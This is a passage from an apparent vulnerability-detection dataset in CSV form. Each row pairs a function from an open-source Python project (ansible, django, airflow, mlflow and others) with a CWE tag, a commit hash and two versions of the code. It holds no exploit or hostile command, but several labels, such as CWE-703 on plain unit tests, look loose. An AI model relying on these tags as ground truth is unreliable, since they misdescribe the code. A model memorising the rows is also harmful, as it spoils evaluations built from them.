                raise ConnectionError('Failed to connect to %s:%s.' % (self.hostname, self.port))
            else:
                build_ssl_validation_error(self.hostname, self.port, paths_checked)
        except CertificateError:
            build_ssl_validation_error(self.hostname, self.port, paths_checked)

        try:
            # cleanup the temp file created, don't worry
            # if it fails for some reason
            os.remove(tmp_ca_cert_path)
        except:
            pass

        return req",CWE-703,ansible/ansible,d86b2ec225ce3d4662601c25c3edd5b8e0e11d00,"def http_request(self, req):
        tmp_ca_cert_path, paths_checked = self.get_ca_certs()
        https_proxy = os.environ.get('https_proxy')
        context = None
        if HAS_SSLCONTEXT:
            context = self._make_context(tmp_ca_cert_path)

        # Detect if 'no_proxy' environment variable is set and if our URL is included
        use_proxy = self.detect_no_proxy(req.get_full_url())

        if not use_proxy:
            # ignore proxy settings for this host request
            return req

        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            if https_proxy:
                proxy_parts = generic_urlparse(urlparse.urlparse(https_proxy))
                port = proxy_parts.get('port') or 443
                s.connect((proxy_parts.get('hostname'), port))
                if proxy_parts.get('scheme') == 'http':
                    s.sendall(self.CONNECT_COMMAND % (self.hostname, self.port))
                    if proxy_parts.get('username'):
                        credentials = ""%s:%s"" % (proxy_parts.get('username',''), proxy_parts.get('password',''))
                        s.sendall('Proxy-Authorization: Basic %s\r\n' % credentials.encode('base64').strip())
                    s.sendall('\r\n')
                    connect_result = s.recv(4096)
                    self.validate_proxy_response(connect_result)
                    if context:
                        ssl_s = context.wrap_socket(s, server_hostname=self.hostname)
                    elif HAS_URLLIB3_SNI_SUPPORT:
                        ssl_s = ssl_wrap_socket(s, ca_certs=tmp_ca_cert_path, cert_reqs=ssl.CERT_REQUIRED, ssl_version=PROTOCOL, server_hostname=self.hostname)
                    else:
                        ssl_s = ssl.wrap_socket(s, ca_certs=tmp_ca_cert_path, cert_reqs=ssl.CERT_REQUIRED, ssl_version=PROTOCOL)
                        match_hostname(ssl_s.getpeercert(), self.hostname)
                else:
                    raise ProxyError('Unsupported proxy scheme: %s. Currently ansible only supports HTTP proxies.' % proxy_parts.get('scheme'))
            else:
                s.connect((self.hostname, self.port))
                if context:
                    ssl_s = context.wrap_socket(s, server_hostname=self.hostname)
                elif HAS_URLLIB3_SNI_SUPPORT:
                    ssl_s = ssl_wrap_socket(s, ca_certs=tmp_ca_cert_path, cert_reqs=ssl.CERT_REQUIRED, ssl_version=PROTOCOL, server_hostname=self.hostname)
                else:
                    ssl_s = ssl.wrap_socket(s, ca_certs=tmp_ca_cert_path, cert_reqs=ssl.CERT_REQUIRED, ssl_version=PROTOCOL)
                    match_hostname(ssl_s.getpeercert(), self.hostname)
            # close the ssl connection
            #ssl_s.unwrap()
            s.close()
        except (ssl.SSLError, socket.error):
            e = get_exception()
            # fail if we tried all of the certs but none worked
            if 'connection refused' in str(e).lower():
                raise ConnectionError('Failed to connect to %s:%s.' % (self.hostname, self.port))
            else:
                build_ssl_validation_error(self.hostname, self.port, paths_checked)
        except CertificateError:
            build_ssl_validation_error(self.hostname, self.port, paths_checked)

        try:
            # cleanup the temp file created, don't worry
            # if it fails for some reason
            os.remove(tmp_ca_cert_path)
        except:
            pass

        return req"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/core/manager.py,0,"def output_results(
        self,
        lines,
        sev_level,
        conf_level,
        output_file,
        output_format,
        template=None,
    ):
        """"""Outputs results from the result store

        :param lines: How many surrounding lines to show per result
        :param sev_level: Which severity levels to show (LOW, MEDIUM, HIGH)
        :param conf_level: Which confidence levels to show (LOW, MEDIUM, HIGH)
        :param output_file: File to store results
        :param output_format: output format plugin name
        :param template: Output template with non-terminal tags <N>
                         (default:  {abspath}:{line}:
                         {test_id}[bandit]: {severity}: {msg})
        :return: -
        """"""
        try:
            formatters_mgr = extension_loader.MANAGER.formatters_mgr
            if output_format not in formatters_mgr:
                output_format = (
                    ""screen""
                    if (
                        sys.stdout.isatty()
                        and os.getenv(""NO_COLOR"") is None
                        and os.getenv(""TERM"") != ""dumb""
                    )
                    else ""txt""
                )

            formatter = formatters_mgr[output_format]
            report_func = formatter.plugin
            if output_format == ""custom"":
                report_func(
                    self,
                    fileobj=output_file,
                    sev_level=sev_level,
                    conf_level=conf_level,
                    template=template,
                )
            else:
                report_func(
                    self,
                    fileobj=output_file,
                    sev_level=sev_level,
                    conf_level=conf_level,
                    lines=lines,
                )

        except Exception as e:
            raise RuntimeError(
                ""Unable to output report using '%s' formatter: ""
                ""%s"" % (output_format, str(e))
            )",UNKNOWN,PyCQA/bandit,1691b935fb0b8fabe4d3a0c151ae73e8b16e5cc8,"def output_results(
        self,
        lines,
        sev_level,
        conf_level,
        output_file,
        output_format,
        template=None,
    ):
        """"""Outputs results from the result store

        :param lines: How many surrounding lines to show per result
        :param sev_level: Which severity levels to show (LOW, MEDIUM, HIGH)
        :param conf_level: Which confidence levels to show (LOW, MEDIUM, HIGH)
        :param output_file: File to store results
        :param output_format: output format plugin name
        :param template: Output template with non-terminal tags <N>
                         (default:  {abspath}:{line}:
                         {test_id}[bandit]: {severity}: {msg})
        :return: -
        """"""
        try:
            formatters_mgr = extension_loader.MANAGER.formatters_mgr
            if output_format not in formatters_mgr:
                output_format = ""screen"" if sys.stdout.isatty() else ""txt""

            formatter = formatters_mgr[output_format]
            report_func = formatter.plugin
            if output_format == ""custom"":
                report_func(
                    self,
                    fileobj=output_file,
                    sev_level=sev_level,
                    conf_level=conf_level,
                    template=template,
                )
            else:
                report_func(
                    self,
                    fileobj=output_file,
                    sev_level=sev_level,
                    conf_level=conf_level,
                    lines=lines,
                )

        except Exception as e:
            raise RuntimeError(
                ""Unable to output report using '%s' formatter: ""
                ""%s"" % (output_format, str(e))
            )"
,UNKNOWN,UNKNOWN,tests/i18n/tests.py,1,"def test_empty_value(self):
        """"""Empty value must stay empty after being translated (#23196).""""""
        with translation.override('de'):
            self.assertEqual('', gettext(''))
            s = mark_safe('')
            self.assertEqual(s, gettext(s))",CWE-79,django/django,ceca221b31a38b01ee951fab82d5dc1c200c27b4,"def test_empty_value(self):
        """"""Empty value must stay empty after being translated (#23196).""""""
        with translation.override('de'):
            self.assertEqual('', gettext(''))
            s = mark_safe('')
            self.assertEqual(s, gettext(s))"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/web.py,0,"def make_static_url(cls, settings, path, include_version=True):
        """"""Constructs a versioned url for the given path.

        This method may be overridden in subclasses (but note that it
        is a class method rather than an instance method).  Subclasses
        are only required to implement the signature
        ``make_static_url(cls, settings, path)``; other keyword
        arguments may be passed through `~RequestHandler.static_url`
        but are not standard.

        ``settings`` is the `Application.settings` dictionary.  ``path``
        is the static path being requested.  The url returned should be
        relative to the current host.

        ``include_version`` determines whether the generated URL should
        include the query string containing the version hash of the
        file corresponding to the given ``path``.

        """"""
        url = settings.get('static_url_prefix', '/static/') + path
        if not include_version:
            return url

        version_hash = cls.get_version(settings, path)
        if not version_hash:
            return url

        return '%s?v=%s' % (url, version_hash)",CWE-Unknown,tornadoweb/tornado,a0c4003a17d2c1374ca06a9244c689a21477268b,"def make_static_url(cls, settings, path, include_version=True):
        """"""Constructs a versioned url for the given path.

        This method may be overridden in subclasses (but note that it
        is a class method rather than an instance method).  Subclasses
        are only required to implement the signature
        ``make_static_url(cls, settings, path)``; other keyword arguments
        may be passed through `static_url` but are not standard.

        ``settings`` is the `Application.settings` dictionary.  ``path``
        is the static path being requested.  The url returned should be
        relative to the current host.

        ``include_version`` determines whether the generated URL should
        include the query string containing the version hash of the
        file corresponding to the given ``path``.

        """"""
        url = settings.get('static_url_prefix', '/static/') + path
        if not include_version:
            return url

        version_hash = cls.get_version(settings, path)
        if not version_hash:
            return url

        return '%s?v=%s' % (url, version_hash)"
,UNKNOWN,UNKNOWN,django/db/backends/mysql/introspection.py,1,"def get_table_description(self, cursor, table_name):
        """"""
        Returns a description of the table, with the DB-API cursor.description interface.""
        """"""
        # information_schema database gives more accurate results for some figures:
        # - varchar length returned by cursor.description is an internal length,
        #   not visible length (#5725)
        # - precision and scale (for decimal fields) (#5014)
        # - auto_increment is not available in cursor.description
        cursor.execute(""""""
            SELECT column_name, data_type, character_maximum_length, numeric_precision,
                   numeric_scale, extra, column_default
            FROM information_schema.columns
            WHERE table_name = %s AND table_schema = DATABASE()"""""", [table_name])
        field_info = {line[0]: InfoLine(*line) for line in cursor.fetchall()}

        cursor.execute(""SELECT * FROM %s LIMIT 1"" % self.connection.ops.quote_name(table_name))

        def to_int(i):
            return int(i) if i is not None else i

        fields = []
        for line in cursor.description:
            col_name = force_text(line[0])
            fields.append(
                FieldInfo(*((col_name,)
                            + line[1:3]
                            + (to_int(field_info[col_name].max_len) or line[3],
                               to_int(field_info[col_name].num_prec) or line[4],
                               to_int(field_info[col_name].num_scale) or line[5])
                            + (line[6],)
                            + (field_info[col_name].extra,)
                            + (field_info[col_name].column_default,)))
            )
        return fields",CWE-89,django/django,60586dd7379b295b72d8af4e03423c286913b5e8,"def get_table_description(self, cursor, table_name):
        """"""
        Returns a description of the table, with the DB-API cursor.description interface.""
        """"""
        # information_schema database gives more accurate results for some figures:
        # - varchar length returned by cursor.description is an internal length,
        #   not visible length (#5725)
        # - precision and scale (for decimal fields) (#5014)
        # - auto_increment is not available in cursor.description
        cursor.execute(""""""
            SELECT column_name, data_type, character_maximum_length, numeric_precision,
                   numeric_scale, extra, column_default
            FROM information_schema.columns
            WHERE table_name = %s AND table_schema = DATABASE()"""""", [table_name])
        field_info = {line[0]: InfoLine(*line) for line in cursor.fetchall()}

        cursor.execute(""SELECT * FROM %s LIMIT 1"" % self.connection.ops.quote_name(table_name))
        to_int = lambda i: int(i) if i is not None else i
        fields = []
        for line in cursor.description:
            col_name = force_text(line[0])
            fields.append(
                FieldInfo(*((col_name,)
                            + line[1:3]
                            + (to_int(field_info[col_name].max_len) or line[3],
                               to_int(field_info[col_name].num_prec) or line[4],
                               to_int(field_info[col_name].num_scale) or line[5])
                            + (line[6],)
                            + (field_info[col_name].extra,)
                            + (field_info[col_name].column_default,)))
            )
        return fields"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/configuration.py,0,"def _upgrade_auth_backends(self):
        """"""
        Ensure a custom auth_backends setting contains session,
        which is needed by the UI for ajax queries.
        """"""
        old_value = self.get(""api"", ""auth_backends"", fallback="""")
        if old_value in ('airflow.api.auth.backend.default', ''):
            # handled by deprecated_values
            pass
        elif old_value.find('airflow.api.auth.backend.session') == -1:
            new_value = old_value + "",airflow.api.auth.backend.session""
            self._update_env_var(section=""api"", name=""auth_backends"", new_value=new_value)
            self.upgraded_values[(""api"", ""auth_backends"")] = old_value

            # if the old value is set via env var, we need to wipe it
            # otherwise, it'll ""win"" over our adjusted value
            old_env_var = self._env_var_name(""api"", ""auth_backend"")
            os.environ.pop(old_env_var, None)

            warnings.warn(
                'The auth_backends setting in [api] has had airflow.api.auth.backend.session added '
                'in the running config, which is needed by the UI. Please update your config before '
                'Apache Airflow 3.0.',
                FutureWarning,
            )",CWE-Unknown,apache/airflow,0527a0b6ce506434a23bc2a6f5ddb11f492fc614,"def _upgrade_auth_backends(self):
        """"""
        Ensure a custom auth_backends setting contains session,
        which is needed by the UI for ajax queries.
        """"""
        old_value = self.get(""api"", ""auth_backends"", fallback="""")
        if old_value in ('airflow.api.auth.backend.default', ''):
            # handled by deprecated_values
            pass
        elif old_value.find('airflow.api.auth.backend.session') == -1:
            new_value = old_value + "",airflow.api.auth.backend.session""
            self._update_env_var(section=""api"", name=""auth_backends"", new_value=new_value)
            self.upgraded_values[(""api"", ""auth_backends"")] = old_value

            # if the old value is set via env var, we need to wipe it
            # otherwise, it'll ""win"" over our adjusted value
            old_env_var = self._env_var_name(""api"", ""auth_backend"")
            os.environ.pop(old_env_var, None)

            warnings.warn(
                'The auth_backends setting in [api] has had airflow.api.auth.backend.session added '
                'in the running config, which is needed by the UI. Please update your config before '
                'Apache Airflow 3.0.',
                FutureWarning,
            )"
,UNKNOWN,UNKNOWN,providers/openlineage/tests/unit/openlineage/plugins/test_adapter.py,1,"def test_emit_complete_event(mock_stats_incr, mock_stats_timer):
    client = MagicMock()
    adapter = OpenLineageAdapter(client)

    run_id = str(uuid.uuid4())
    event_time = datetime.datetime.now().isoformat()
    adapter.complete_task(
        run_id=run_id, end_time=event_time, job_name=""job"", task=OperatorLineage(), owners=[]
    )

    assert (
        call(
            RunEvent(
                eventType=RunState.COMPLETE,
                eventTime=event_time,
                run=Run(
                    runId=run_id,
                    facets={
                        ""processing_engine"": processing_engine_run.ProcessingEngineRunFacet(
                            version=ANY, name=""Airflow"", openlineageAdapterVersion=ANY
                        )
                    },
                ),
                job=Job(
                    namespace=namespace(),
                    name=""job"",
                    facets={
                        ""jobType"": job_type_job.JobTypeJobFacet(
                            processingType=""BATCH"", integration=""AIRFLOW"", jobType=""TASK""
                        )
                    },
                ),
                producer=_PRODUCER,
                inputs=[],
                outputs=[],
            )
        )
        in client.emit.mock_calls
    )

    mock_stats_incr.assert_not_called()
    mock_stats_timer.assert_called_with(""ol.emit.attempts"")",CWE-703,apache/airflow,8cb1d075a0e2df0c92af5f97444da99720cc734a,"def test_emit_complete_event(mock_stats_incr, mock_stats_timer):
    client = MagicMock()
    adapter = OpenLineageAdapter(client)

    run_id = str(uuid.uuid4())
    event_time = datetime.datetime.now().isoformat()
    adapter.complete_task(
        run_id=run_id,
        end_time=event_time,
        job_name=""job"",
        task=OperatorLineage(),
    )

    assert (
        call(
            RunEvent(
                eventType=RunState.COMPLETE,
                eventTime=event_time,
                run=Run(
                    runId=run_id,
                    facets={
                        ""processing_engine"": processing_engine_run.ProcessingEngineRunFacet(
                            version=ANY, name=""Airflow"", openlineageAdapterVersion=ANY
                        )
                    },
                ),
                job=Job(
                    namespace=namespace(),
                    name=""job"",
                    facets={
                        ""jobType"": job_type_job.JobTypeJobFacet(
                            processingType=""BATCH"", integration=""AIRFLOW"", jobType=""TASK""
                        )
                    },
                ),
                producer=_PRODUCER,
                inputs=[],
                outputs=[],
            )
        )
        in client.emit.mock_calls
    )

    mock_stats_incr.assert_not_called()
    mock_stats_timer.assert_called_with(""ol.emit.attempts"")"
,UNKNOWN,UNKNOWN,tests/providers/fab/auth_manager/test_security.py,1,"def test_update_user_auth_stat_first_successful_auth(mock_security_manager, new_user):
    mock_security_manager.update_user_auth_stat(new_user, success=True)

    assert new_user.login_count == 1
    assert new_user.fail_login_count == 0
    assert new_user.last_login == datetime.datetime(1985, 11, 5, 1, 24, 0)
    mock_security_manager.update_user.assert_called_once()",CWE-703,apache/airflow,b541f5519c37c9b8b79fb2fe0e2b7105d0b12e6e,"def test_update_user_auth_stat_first_successful_auth(mock_security_manager, new_user):
    mock_security_manager.update_user_auth_stat(new_user, success=True)

    assert new_user.login_count == 1
    assert new_user.fail_login_count == 0
    assert new_user.last_login == datetime.datetime(1985, 11, 5, 1, 24, 0)
    assert mock_security_manager.update_user.called_once"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/widgets/widget.py,0,"def _parent_changed(self, name, old, new):
        if self._displayed:
            raise Exception('Parent cannot be set because widget has been displayed.')
        elif new == self:
            raise Exception('Parent cannot be set to self.')
        else:

            # Parent/child association
            if new is not None and not self in new._children:
                new._children.append(self)
            if old is not None and self in old._children:
                old._children.remove(self)",,jupyter/notebook,9019b639d192fb5945c61dfa704b2d557088596f,"def _parent_changed(self, name, old, new):
        if self._displayed:
            raise Exception('Parent cannot be set because widget has been displayed.')
        elif new == self:
            raise Exception('Parent cannot be set to self.')
        else:

            # Parent/child association
            if new is not None and not self in new._children:
                new._children.append(self)
            if old is not None and self in old._children:
                old._children.remove(self)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/admin_scripts/tests.py,0,"def _ext_backend_paths(self):
        """"""
        Returns the paths for any external backend packages.
        """"""
        paths = []
        for backend in settings.DATABASES.values():
            package = backend['ENGINE'].split('.')[0]
            if package != 'django':
                backend_pkg = __import__(package)
                backend_dir = os.path.dirname(backend_pkg.__file__)
                paths.append(os.path.dirname(backend_dir))
        return paths",CWE-Unknown,django/django,60f51290766dae16abfb60459940de51fa5c5b2f,"def _ext_backend_paths(self):
        """"""
        Returns the paths for any external backend packages.
        """"""
        paths = []
        first_package_re = re.compile(r'(^[^\.]+)\.')
        for backend in settings.DATABASES.values():
            result = first_package_re.findall(backend['ENGINE'])
            if result and result != ['django']:
                backend_pkg = __import__(result[0])
                backend_dir = os.path.dirname(backend_pkg.__file__)
                paths.append(os.path.dirname(backend_dir))
        return paths"
,UNKNOWN,UNKNOWN,tests/providers/google/cloud/sensors/test_bigquery.py,1,"def test_passing_arguments_to_hook(self, mock_hook):
        task = BigQueryTableExistenceSensor(
            task_id='task-id',
            project_id=TEST_PROJECT_ID,
            dataset_id=TEST_DATASET_ID,
            table_id=TEST_TABLE_ID,
            gcp_conn_id=TEST_GCP_CONN_ID,
            delegate_to=TEST_DELEGATE_TO,
            impersonation_chain=TEST_IMPERSONATION_CHAIN,
        )
        mock_hook.return_value.table_exists.return_value = True
        results = task.poke(mock.MagicMock())

        assert results is True

        mock_hook.assert_called_once_with(
            gcp_conn_id=TEST_GCP_CONN_ID,
            delegate_to=TEST_DELEGATE_TO,
            impersonation_chain=TEST_IMPERSONATION_CHAIN,
        )
        mock_hook.return_value.table_exists.assert_called_once_with(
            project_id=TEST_PROJECT_ID, dataset_id=TEST_DATASET_ID, table_id=TEST_TABLE_ID
        )",CWE-703,apache/airflow,6692e9191df61c8637adbfa249ebbf9882dbba5d,"def test_passing_arguments_to_hook(self, mock_hook):
        task = BigQueryTableExistenceSensor(
            task_id='task-id',
            project_id=TEST_PROJECT_ID,
            dataset_id=TEST_DATASET_ID,
            table_id=TEST_TABLE_ID,
            bigquery_conn_id=TEST_GCP_CONN_ID,
            delegate_to=TEST_DELEGATE_TO,
            impersonation_chain=TEST_IMPERSONATION_CHAIN,
        )
        mock_hook.return_value.table_exists.return_value = True
        results = task.poke(mock.MagicMock())

        assert results is True

        mock_hook.assert_called_once_with(
            bigquery_conn_id=TEST_GCP_CONN_ID,
            delegate_to=TEST_DELEGATE_TO,
            impersonation_chain=TEST_IMPERSONATION_CHAIN,
        )
        mock_hook.return_value.table_exists.assert_called_once_with(
            project_id=TEST_PROJECT_ID, dataset_id=TEST_DATASET_ID, table_id=TEST_TABLE_ID
        )"
,UNKNOWN,UNKNOWN,tests/evaluate/test_evaluation.py,1,"def test_resolve_evaluators_and_configs():
    from mlflow.models.evaluation.evaluators.classifier import ClassifierEvaluator
    from mlflow.models.evaluation.evaluators.default import DefaultEvaluator
    from mlflow.models.evaluation.evaluators.regressor import RegressorEvaluator
    from mlflow.models.evaluation.evaluators.shap import ShapEvaluator

    def assert_equal(actual, expected):
        assert len(actual) == len(expected)
        for actual_i, expected_i in zip(actual, expected):
            assert actual_i.name == expected_i[0]
            assert isinstance(actual_i.evaluator, expected_i[1])
            assert actual_i.config == expected_i[2]

    with mock.patch.object(
        _model_evaluation_registry,
        ""_registry"",
        {""default"": DefaultEvaluator},
    ):
        assert_equal(
            resolve_evaluators_and_configs(None, None), [(""default"", DefaultEvaluator, {})]
        )
        assert_equal(
            actual=resolve_evaluators_and_configs(None, {""a"": 3}),
            expected=[(""default"", DefaultEvaluator, {""a"": 3})],
        )
        assert_equal(
            actual=resolve_evaluators_and_configs(None, {""default"": {""a"": 3}}),
            expected=[(""default"", DefaultEvaluator, {""a"": 3})],
        )

    # 1. evaluators is None -> only default evaluator is used
    assert_equal(
        actual=resolve_evaluators_and_configs(None, None),
        expected=[(""default"", DefaultEvaluator, {})],
    )
    assert_equal(
        actual=resolve_evaluators_and_configs(None, {""a"": 3}),
        expected=[(""default"", DefaultEvaluator, {""a"": 3})],
    )

    # 2. evaluators is None and model type is classifier -> builtin classifier evaluators
    #   are used instead of the default. Also dummy evaluator can evaluate classifier.
    assert_equal(
        actual=resolve_evaluators_and_configs(
            evaluators=None, evaluator_config={""a"": 3}, model_type=""classifier""
        ),
        expected=[
            (""classifier"", ClassifierEvaluator, {""a"": 3}),
            (""shap"", ShapEvaluator, {""a"": 3}),
            (""dummy_evaluator"", DummyEvaluator, {""a"": 3}),
        ],
    )

    assert_equal(
        resolve_evaluators_and_configs(
            evaluators=None,
            # config for a specific evaluator
            evaluator_config={""shap"": {""a"": 3}},
            model_type=""classifier"",
        ),
        expected=[
            (""classifier"", ClassifierEvaluator, {}),
            (""shap"", ShapEvaluator, {""a"": 3}),
            (""dummy_evaluator"", DummyEvaluator, {}),
        ],
    )

    assert_equal(
        resolve_evaluators_and_configs(
            evaluators=None,
            # config for a ""default"" copied to builtin evaluators
            evaluator_config={""default"": {""a"": 3}},
            model_type=""classifier"",
        ),
        expected=[
            (""classifier"", ClassifierEvaluator, {""a"": 3}),
            (""shap"", ShapEvaluator, {""a"": 3}),
            (""dummy_evaluator"", DummyEvaluator, {}),
        ],
    )

    # 3. evaluators is string -> the specified evaluator is used
    assert_equal(
        actual=resolve_evaluators_and_configs(""dummy_evaluator"", {""a"": 3}, ""regressor""),
        expected=[(""dummy_evaluator"", DummyEvaluator, {""a"": 3})],
    )
    assert_equal(
        actual=resolve_evaluators_and_configs(""default"", {""a"": 3}),
        expected=[(""default"", DefaultEvaluator, {""a"": 3})],
    )
    assert_equal(
        actual=resolve_evaluators_and_configs(""default"", {""a"": 3}, ""regressor""),
        expected=[
            (""regressor"", RegressorEvaluator, {""a"": 3}),
            (""shap"", ShapEvaluator, {""a"": 3}),
        ],
    )
    assert_equal(
        actual=resolve_evaluators_and_configs(""regressor"", {""a"": 3}, ""regressor""),
        expected=[(""regressor"", RegressorEvaluator, {""a"": 3})],
    )
    assert_equal(
        actual=resolve_evaluators_and_configs(""non-existing"", {""a"": 3}),
        expected=[],  # empty because not registered evaluator
    )

    # 4. evaluators is a list of strings -> the specified evaluators are used
    assert_equal(
        actual=resolve_evaluators_and_configs(
            evaluators=[""default"", ""dummy_evaluator""],
            evaluator_config={""dummy_evaluator"": {""a"": 3}, ""default"": {""a"": 5}},
            model_type=""classifier"",
        ),
        expected=[
            (""classifier"", ClassifierEvaluator, {""a"": 5}),
            (""shap"", ShapEvaluator, {""a"": 5}),
            (""dummy_evaluator"", DummyEvaluator, {""a"": 3}),
        ],
    )

    assert_equal(
        actual=resolve_evaluators_and_configs(
            evaluators=[""regressor""],
            evaluator_config={""regressor"": {""a"": 5}},
            model_type=""regressor"",
        ),
        expected=[(""regressor"", RegressorEvaluator, {""a"": 5})],
    )

    with pytest.raises(
        MlflowException,
        match=""If `evaluators` argument is an evaluator name list, evaluator_config must"",
    ):
        resolve_evaluators_and_configs([""default"", ""dummy_evaluator""], {""abc"": {""a"": 3}})",CWE-703,mlflow/mlflow,fbaab628927e98b0ff0c47c6ef71cbdbc41f075f,"def test_resolve_evaluators_and_configs():
    from mlflow.models.evaluation.evaluators.classifier import ClassifierEvaluator
    from mlflow.models.evaluation.evaluators.default import DefaultEvaluator
    from mlflow.models.evaluation.evaluators.regressor import RegressorEvaluator
    from mlflow.models.evaluation.evaluators.shap import ShapEvaluator

    def assert_equal(actual, expected):
        assert len(actual) == len(expected)
        for actual_i, expected_i in zip(actual, expected):
            assert actual_i.name == expected_i[0]
            assert isinstance(actual_i.evaluator, expected_i[1])
            assert actual_i.config == expected_i[2]

    with mock.patch.object(
        _model_evaluation_registry,
        ""_registry"",
        {""default"": DefaultEvaluator},
    ):
        assert_equal(
            resolve_evaluators_and_configs(None, None), [(""default"", DefaultEvaluator, {})]
        )
        assert_equal(
            actual=resolve_evaluators_and_configs(None, {""a"": 3}),
            expected=[(""default"", DefaultEvaluator, {""a"": 3})],
        )
        assert_equal(
            actual=resolve_evaluators_and_configs(None, {""default"": {""a"": 3}}),
            expected=[(""default"", DefaultEvaluator, {""a"": 3})],
        )

    # 1. evaluators is None -> only default evaluator is used
    assert_equal(
        actual=resolve_evaluators_and_configs(None, None),
        expected=[(""default"", DefaultEvaluator, {})],
    )
    assert_equal(
        actual=resolve_evaluators_and_configs(None, {""a"": 3}),
        expected=[(""default"", DefaultEvaluator, {""a"": 3})],
    )

    # 2. evaluators is None and model type is classifier -> builtin classifier evaluators
    #   are used instead of the default. Also dummy evaluator can evaluate classifier.
    assert_equal(
        actual=resolve_evaluators_and_configs(
            evaluators=None, evaluator_config={""a"": 3}, model_type=""classifier""
        ),
        expected=[
            (""classifier"", ClassifierEvaluator, {""a"": 3}),
            (""shap"", ShapEvaluator, {""a"": 3}),
            (""dummy_evaluator"", DummyEvaluator, {""a"": 3}),
        ],
    )

    assert_equal(
        resolve_evaluators_and_configs(
            evaluators=None,
            # config for a specific evaluator
            evaluator_config={""shap"": {""a"": 3}},
            model_type=""classifier"",
        ),
        expected=[
            (""classifier"", ClassifierEvaluator, {}),
            (""shap"", ShapEvaluator, {""a"": 3}),
            (""dummy_evaluator"", DummyEvaluator, {}),
        ],
    )

    assert_equal(
        resolve_evaluators_and_configs(
            evaluators=None,
            # config for a ""default"" copied to builtin evaluators
            evaluator_config={""default"": {""a"": 3}},
            model_type=""classifier"",
        ),
        expected=[
            (""classifier"", ClassifierEvaluator, {""a"": 3}),
            (""shap"", ShapEvaluator, {""a"": 3}),
            (""dummy_evaluator"", DummyEvaluator, {}),
        ],
    )

    # 3. evaluators is string -> the specified evaluator is used
    assert_equal(
        actual=resolve_evaluators_and_configs(""dummy_evaluator"", {""a"": 3}, ""regressor""),
        expected=[(""dummy_evaluator"", DummyEvaluator, {""a"": 3})],
    )
    assert_equal(
        actual=resolve_evaluators_and_configs(""default"", {""a"": 3}),
        expected=[(""default"", DefaultEvaluator, {""a"": 3})],
    )
    assert_equal(
        actual=resolve_evaluators_and_configs(""default"", {""a"": 3}, ""regressor""),
        expected=[
            (""regressor"", RegressorEvaluator, {""a"": 3}),
            (""shap"", ShapEvaluator, {""a"": 3}),
        ],
    )
    assert_equal(
        actual=resolve_evaluators_and_configs(""regressor"", {""a"": 3}, ""regressor""),
        expected=[(""regressor"", RegressorEvaluator, {""a"": 3})],
    )
    assert_equal(
        actual=resolve_evaluators_and_configs(""non-existing"", {""a"": 3}),
        expected=[],  # empty because not registered evaluator
    )

    # 4. evaluators is a list of strings -> the specified evaluators are used
    assert_equal(
        actual=resolve_evaluators_and_configs(
            evaluators=[""default"", ""dummy_evaluator""],
            evaluator_config={""dummy_evaluator"": {""a"": 3}, ""default"": {""a"": 5}},
            model_type=""classifier"",
        ),
        expected=[
            (""default"", DefaultEvaluator, {""a"": 5}),
            (""dummy_evaluator"", DummyEvaluator, {""a"": 3}),
        ],
    )

    with pytest.raises(
        MlflowException,
        match=""If `evaluators` argument is an evaluator name list, evaluator_config must"",
    ):
        resolve_evaluators_and_configs([""default"", ""dummy_evaluator""], {""abc"": {""a"": 3}})"
,UNKNOWN,UNKNOWN,providers/standard/tests/unit/standard/operators/test_trigger_dagrun.py,1,"def test_trigger_dagrun_with_no_failed_state(self, dag_maker):
        task = TriggerDagRunOperator(
            task_id=""test_task"",
            trigger_dag_id=TRIGGERED_DAG_ID,
            logical_date=DEFAULT_DATE,
            wait_for_completion=True,
            poke_interval=10,
            failed_states=[],
        )

        assert task.failed_states == []",CWE-703,apache/airflow,294594c06c21247547d83d4c1c996d86b49d9a35,"def test_trigger_dagrun_with_no_failed_state(self, dag_maker):
        task = TriggerDagRunOperator(
            task_id=""test_task"",
            trigger_dag_id=TRIGGERED_DAG_ID,
            logical_date=DEFAULT_DATE,
            wait_for_completion=True,
            poke_interval=10,
            failed_states=[],
        )

        assert task.failed_states == []"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/fixtures_regress/tests.py,0,"def test_fixture_dirs_with_default_fixture_path(self):
        """"""
        settings.FIXTURE_DIRS cannot contain a default fixtures directory
        for application (app/fixtures) in order to avoid repeated fixture loading.
        """"""
        msg = (
            ""'%s' is a default fixture directory for the '%s' app ""
            ""and cannot be listed in settings.FIXTURE_DIRS.""
            % (os.path.join(_cur_dir, ""fixtures""), ""fixtures_regress"")
        )
        with self.assertRaisesMessage(ImproperlyConfigured, msg):
            management.call_command(""loaddata"", ""absolute.json"", verbosity=0)",CWE-Unknown,django/django,903ac2f36439ab33039be077f474c23a3b72bf78,"def test_fixture_dirs_with_default_fixture_path(self):
        """"""
        settings.FIXTURE_DIRS cannot contain a default fixtures directory
        for application (app/fixtures) in order to avoid repeated fixture loading.
        """"""
        msg = (
            ""'%s' is a default fixture directory for the '%s' app ""
            ""and cannot be listed in settings.FIXTURE_DIRS.""
            % (os.path.join(_cur_dir, ""fixtures""), ""fixtures_regress"")
        )
        with self.assertRaisesMessage(ImproperlyConfigured, msg):
            management.call_command(""loaddata"", ""absolute.json"", verbosity=0)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,core/controllers/core_helpers/target.py,0,"def get_options(self):
        '''
        :return: A list of option objects for this plugin.
        '''
        ol = OptionList()

        targets = ','.join(str(tar) for tar in cf.cf.get('targets'))
        d = 'A comma separated list of URLs'
        o = opt_factory('target', targets, d, 'url_list')
        ol.add(o)

        d = 'Target operating system (' + '/'.join(
            self._operating_systems) + ')'
        h = 'This setting is here to enhance w3af performance.'

        # This list ""hack"" has to be done becase the default value is the one
        # in the first position on the list
        tmp_list = self._operating_systems[:]
        tmp_list.remove(cf.cf.get('target_os'))
        tmp_list.insert(0, cf.cf.get('target_os'))
        o = opt_factory('target_os', tmp_list, d, 'combo', help=h)
        ol.add(o)

        d = 'Target programming framework (' + '/'.join(
            self._programming_frameworks) + ')'
        h = 'This setting is here to enhance w3af performance.'
        # This list ""hack"" has to be done because the default value is the one
        # in the first position on the list
        tmp_list = self._programming_frameworks[:]
